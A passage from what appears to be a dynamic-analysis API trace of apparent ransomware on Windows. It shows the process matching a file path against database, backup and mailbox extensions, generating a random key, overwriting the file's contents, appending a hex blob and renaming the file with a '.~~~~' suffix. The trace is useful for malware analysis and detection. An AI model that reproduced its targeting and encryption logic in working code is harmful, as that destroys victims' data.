	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0078.992] lstrlenW (lpString=".bac") returned 4
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0078.992] lstrlenW (lpString=".mdf") returned 4
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0078.992] lstrlenW (lpString=".BAK") returned 4
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0078.992] lstrlenW (lpString=".BAC") returned 4
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0078.992] lstrlenW (lpString=".dbs") returned 4
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0078.992] lstrlenW (lpString=".vhdx") returned 5
	[0078.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0078.993] lstrlenW (lpString=".NDF") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0078.993] lstrlenW (lpString=".dat") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0078.993] lstrlenW (lpString=".DBS") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0078.993] lstrlenW (lpString=".CKP") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0078.993] lstrlenW (lpString=".edb") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0078.993] lstrlenW (lpString=".PST") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0078.993] lstrlenW (lpString=".dbf") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0078.993] lstrlenW (lpString=".SQL") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0078.993] lstrlenW (lpString=".pst") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0078.993] lstrlenW (lpString=".dbv") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0078.993] lstrlenW (lpString=".SDF") returned 4
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0078.993] lstrlenW (lpString=".dtxs") returned 5
	[0078.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0078.994] lstrlenW (lpString=".db3") returned 4
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0078.994] lstrlenW (lpString=".OST") returned 4
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0078.994] lstrlenW (lpString=".dbx") returned 4
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0078.994] lstrlenW (lpString=".DB3") returned 4
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0078.994] lstrlenW (lpString=".DAT") returned 4
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0078.994] lstrlenW (lpString=".VHDX") returned 5
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0078.994] lstrlenW (lpString=".ndf") returned 4
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0078.994] lstrlenW (lpString=".DB") returned 3
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0078.994] lstrlenW (lpString=".sql") returned 4
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0078.994] lstrlenW (lpString=".MYD") returned 4
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0078.994] lstrlenW (lpString=".DBT") returned 4
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0078.994] lstrlenW (lpString=".ACCDB") returned 6
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0078.994] lstrlenW (lpString=".fdb") returned 4
	[0078.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0078.994] lstrlenW (lpString=".bak") returned 4
	[0078.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0078.995] lstrlenW (lpString=".myd") returned 4
	[0078.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0078.995] lstrlenW (lpString=".DTXS") returned 5
	[0078.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0078.995] lstrlenW (lpString=".ckp") returned 4
	[0078.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0078.995] lstrlenW (lpString=".dbt") returned 4
	[0078.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0078.995] lstrlenW (lpString=".db") returned 3
	[0078.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0078.995] lstrlenW (lpString=".TXT") returned 4
	[0078.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0078.995] lstrlenW (lpString=".MDF") returned 4
	[0078.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0078.995] lstrlenW (lpString=".bdb") returned 4
	[0078.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0078.995] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.995] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0078.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.995] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0078.996] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.996] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0078.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0078.997] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19898674629) returned 1
	[0078.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x98f512b0, dwHighDateTime=0x1d60e1e)) 
	[0078.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0078.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0078.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0078.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b368
	[0078.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b368 | out: hHeap=0x300000) returned 1
	[0078.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6760
	[0078.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6760 | out: hHeap=0x300000) returned 1
	[0078.997] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0078.997] GetLastError () returned 0x0
	[0078.998] GetLastError () returned 0x0
	[0078.998] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0078.998] GetLastError () returned 0x0
	[0078.998] GetLastError () returned 0x0
	[0078.998] ReadFile (in: hFile=0x134, lpBuffer=0x2856fe8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesRead=0x25dfec0*=0xd980, lpOverlapped=0x0) returned 1
	[0079.000] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff2680, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.000] WriteFile (in: hFile=0x134, lpBuffer=0x2856fe8*, nNumberOfBytesToWrite=0xd980, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesWritten=0x25dfec0*=0xd980, lpOverlapped=0x0) returned 1
	[0079.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2856fe8 | out: hHeap=0x300000) returned 1
	[0079.001] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.001] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.001] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.001] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.001] CloseHandle (hObject=0x134) returned 1
	[0079.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0079.002] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.~~~~")) returned 1
	[0079.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0079.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0079.003] GetLastError () returned 0x0
	[0079.003] RtlWakeConditionVariable () returned 0x365f70
	[0079.003] GetCurrentThreadId () returned 0x9f4
	[0079.003] GetCurrentThreadId () returned 0x9f4
	[0079.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0079.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6470 | out: hHeap=0x300000) returned 1
	[0079.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b3a0 | out: hHeap=0x300000) returned 1
	[0079.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.003] lstrlenW (lpString=".scr") returned 4
	[0079.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".scr") returned 0x0
	[0079.003] lstrlenW (lpString=".cmd") returned 4
	[0079.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0079.003] lstrlenW (lpString=".dll") returned 4
	[0079.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".dll") returned 0x0
	[0079.003] lstrlenW (lpString=".bat") returned 4
	[0079.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".bat") returned 0x0
	[0079.003] lstrlenW (lpString=".cpl") returned 4
	[0079.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0079.003] lstrlenW (lpString=".sys") returned 4
	[0079.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".sys") returned 0x0
	[0079.004] lstrlenW (lpString=".msc") returned 4
	[0079.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".msc") returned 0x0
	[0079.004] lstrlenW (lpString=".com") returned 4
	[0079.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".com") returned 0x0
	[0079.004] lstrlenW (lpString=".lnk") returned 4
	[0079.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0079.004] lstrlenW (lpString=".msp") returned 4
	[0079.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".msp") returned 0x0
	[0079.004] lstrlenW (lpString=".pif") returned 4
	[0079.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".pif") returned 0x0
	[0079.004] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0079.004] lstrlenW (lpString=".sqb") returned 4
	[0079.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0079.004] lstrlenW (lpString=".ost") returned 4
	[0079.004] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".ost") returned 0x0
	[0079.005] lstrlenW (lpString=".txt") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".txt") returned 0x0
	[0079.005] lstrlenW (lpString=".mdt") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0079.005] lstrlenW (lpString=".BDB") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0079.005] lstrlenW (lpString=".eql") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".eql") returned 0x0
	[0079.005] lstrlenW (lpString=".DBF") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0079.005] lstrlenW (lpString=".EQL") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0079.005] lstrlenW (lpString=".FDB") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0079.005] lstrlenW (lpString=".EDB") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0079.005] lstrlenW (lpString=".DACPAC") returned 7
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0079.005] lstrlenW (lpString=".VHD") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0079.005] lstrlenW (lpString=".DBV") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0079.005] lstrlenW (lpString=".dacpac") returned 7
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0079.005] lstrlenW (lpString=".sdf") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0079.005] lstrlenW (lpString=".accdb") returned 6
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0079.005] lstrlenW (lpString=".DBX") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0079.005] lstrlenW (lpString=".MDT") returned 4
	[0079.005] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0079.005] lstrlenW (lpString=".SQB") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0079.006] lstrlenW (lpString=".vhd") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0079.006] lstrlenW (lpString=".bac") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".bac") returned 0x0
	[0079.006] lstrlenW (lpString=".mdf") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0079.006] lstrlenW (lpString=".BAK") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0079.006] lstrlenW (lpString=".BAC") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0079.006] lstrlenW (lpString=".dbs") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0079.006] lstrlenW (lpString=".vhdx") returned 5
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0079.006] lstrlenW (lpString=".NDF") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0079.006] lstrlenW (lpString=".dat") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".dat") returned 0x0
	[0079.006] lstrlenW (lpString=".DBS") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0079.006] lstrlenW (lpString=".CKP") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0079.006] lstrlenW (lpString=".edb") returned 4
	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".edb") returned 0x0
	[0079.006] lstrlenW (lpString=".PST") returned 4
